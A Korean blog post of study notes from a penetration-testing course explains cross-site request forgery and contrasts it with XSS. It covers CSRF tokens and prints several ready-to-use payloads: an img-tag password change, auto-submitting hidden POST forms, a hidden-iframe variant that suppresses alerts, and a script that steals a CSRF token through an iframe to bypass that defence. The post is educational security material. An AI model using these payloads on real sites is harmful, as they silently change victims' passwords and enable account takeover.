-
CSRF(Cross Site Request Forgery) [12주차]모의해킹스터디5기(feat.Normaltic) 2024. 1. 29. 17:07
지난주에 마무리했던 XSS에 이어 오늘부터는 새로운 공격 기법을 배운다.
CSRF는 XSS와 비슷한 점이 많은 공격 기법이다. 둘의 차이를 비교하면서 정리하도록 하겠다.
CSRF의 정의
CSRF, Cross-Site Request Forgery의 줄임말로 사이트 간의 요청 위조를 뜻한다.
웹 어플리케이션의 취약점으로 사용자가 의도하지 않은 사이트 요청을 하게 하는 공격이다.
예를 들어 사용자가 원하지 않았는데 비밀번호를 1234로 바꾸는 요청을 보내도록 하는 게 CSRF의 일종이다.
CSRF vs XSS
CSRF와 XSS은 둘 다 사용자를 공격하는 기법이다.
차이점은 XSS는 클라이언트 측 취약점을 파악해 해커가 심어둔 악성 스크립트가 실행되는 것으로 쿠키 정보를 전달하는 등의 스크립트로 인한 공격이 실행되지만 CSRF는 비밀번호를 변경하는 요청을 서버로 보내는 등 기존에 존재하는 요청이 실행된다는 점이다.
CSRF와 XSS를 합친 공격이 이루어진다면 훨씬 위험한 공격이 된다. 클릭할 필요도 없이(Zero Click) 링크에 들어가기만 해도 비밀번호가 변경되는 공격을 만들어낼 수 있다.
<img src="https://192.168.50.144/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change">
XSS 취약점이 존재하는 곳에 위의 스크립트를 삽입하면 해당 페이지에 접근하는 것으로 비밀번호를 변경을 할 수 있다. 물론 비밀번호를 변경하는 것에 CSRF 취약점도 존재해야 한다. 추가적인 스크립트를 통해 사용자가 공격을 눈치 못 채게 할 수도 있다.
CSRF는 어디에서 일어나는가?
A) 모든 페이지 요청에서.
사용자의 의도와 상관없는 모든 요청이 CSRF가 될 수 있다. 어떤 것까지 공격으로 간주하는지에 대한 관점에 따라서 취약점으로 볼 수도 있고 아닐 수도 있다.
CSRF Token
CSRF 공격을 막기 위해 만든 랜덤 값을 지닌 토큰이다. 서버 측에서 생성한 토큰으로 클라이언트 측에서 요청을 보낼 때 서버 측과 동일한 토큰 값을 포함하지 않으면 요청을 거부하는 방식이다. 하지만 우회가 가능하다.
CSRF 코드
- POST form 태그를 이용한 공격
<h1>아래 버튼을 클릭해주세요!</h1> <form method="POST" action="https://vuln-site"> <input type="hidden" name="password" value="1234"> <input type="submit" value="Click Me"> </form>
"Click Me" 버튼을 누르면 POST 방식으로 CSRF 취약 페이지로 변경될 비밀번호가 함께 요청되는 공격이다.
- POST form 태그를 이용한 자동 전송
<form method="POST" action="https://vuln-site.com/vulnPage.php" id="myForm"> <input type="hidden" name="email" value="normaltic@test.com"> </form> <script> document.getElementById('myForm').submit(); </script>
버튼을 생성하지 않고 스크립트를 이용해 자동으로 전송하는 공격이다.
- alert 없이 POST form 태그를 이용한 공격 (+ iframe)
<iframe sandbox="allow-scripts allow-forms allow-pointer-lock allow-same-origin" style="display:none" name="myFrame"></iframe> <form action="https://vuln-site.com/vulnPage.php" method="POST" target="myFrame" id="csrfForm" name="csrfForm"> <input type="hidden" name="pw" value="1234"/> </form> <img src=x onerror="document.csrfForm.submit()">
혹시라도 비밀번호 변경하는 등의 공격을 성공했을 때 뜨는 알림창을 없앨 수 있는 방법이다. iframe의 sandbox 속성으로 알림창과 같은 popup 기능을 설정할 수 있다. 당연히 공격은 iframe 안에서 이루어져야 한다.
- iframe으로 CSRF Token 탈취한 후 공격
<iframe sandbox="allow-scripts allow-forms allow-pointer-lock allow-same-origin" width="0" height="0" border="0" style="display:none" name="myFrame" id="if"></iframe> <form id="form1" action="csrf취약페이지" method="post" enctype="multipart/form-data" target="myFrame"> <input type="hidden" name="pw" value="1234"> <input id="token" type="hidden" name="csrf_token" value="" /> </form> <script type="text/javascript"> function f1(){ x1=document.getElementById("i1"); x1d=(x1.contentWindow||x1.contentDocument); //csrf토큰 정보를 가진 dom t=x1d.document.getElementsByName("csrf_token")[0].value; document.getElementById("token").value=t; document.getElementById("form1").submit(); } </script> <iframe id="i1" style="display:none" src="csrf토큰이 존재하는 페이지" onload="javascript:f1();"></iframe>
iframe으로 csrf token의 정보가 존재하는 페이지에서 dom 정보를 탈취한 후 토큰 정보를 포함한 csrf 공격이다.
'모의해킹스터디5기(feat.Normaltic)' 카테고리의 다른 글
File Upload [14주차] (0) 2024.02.12 CSRF 마무리 / DDoS [13주차] (0) 2024.02.06 XSS 정리 / Client Script 활용 방법[11주차] (0) 2024.01.16 보고서 작성 / 쿠키 탈취 XSS [10주차] (0) 2024.01.08 XSS (Cross Site Scripting) [9주차] (0) 2024.01.03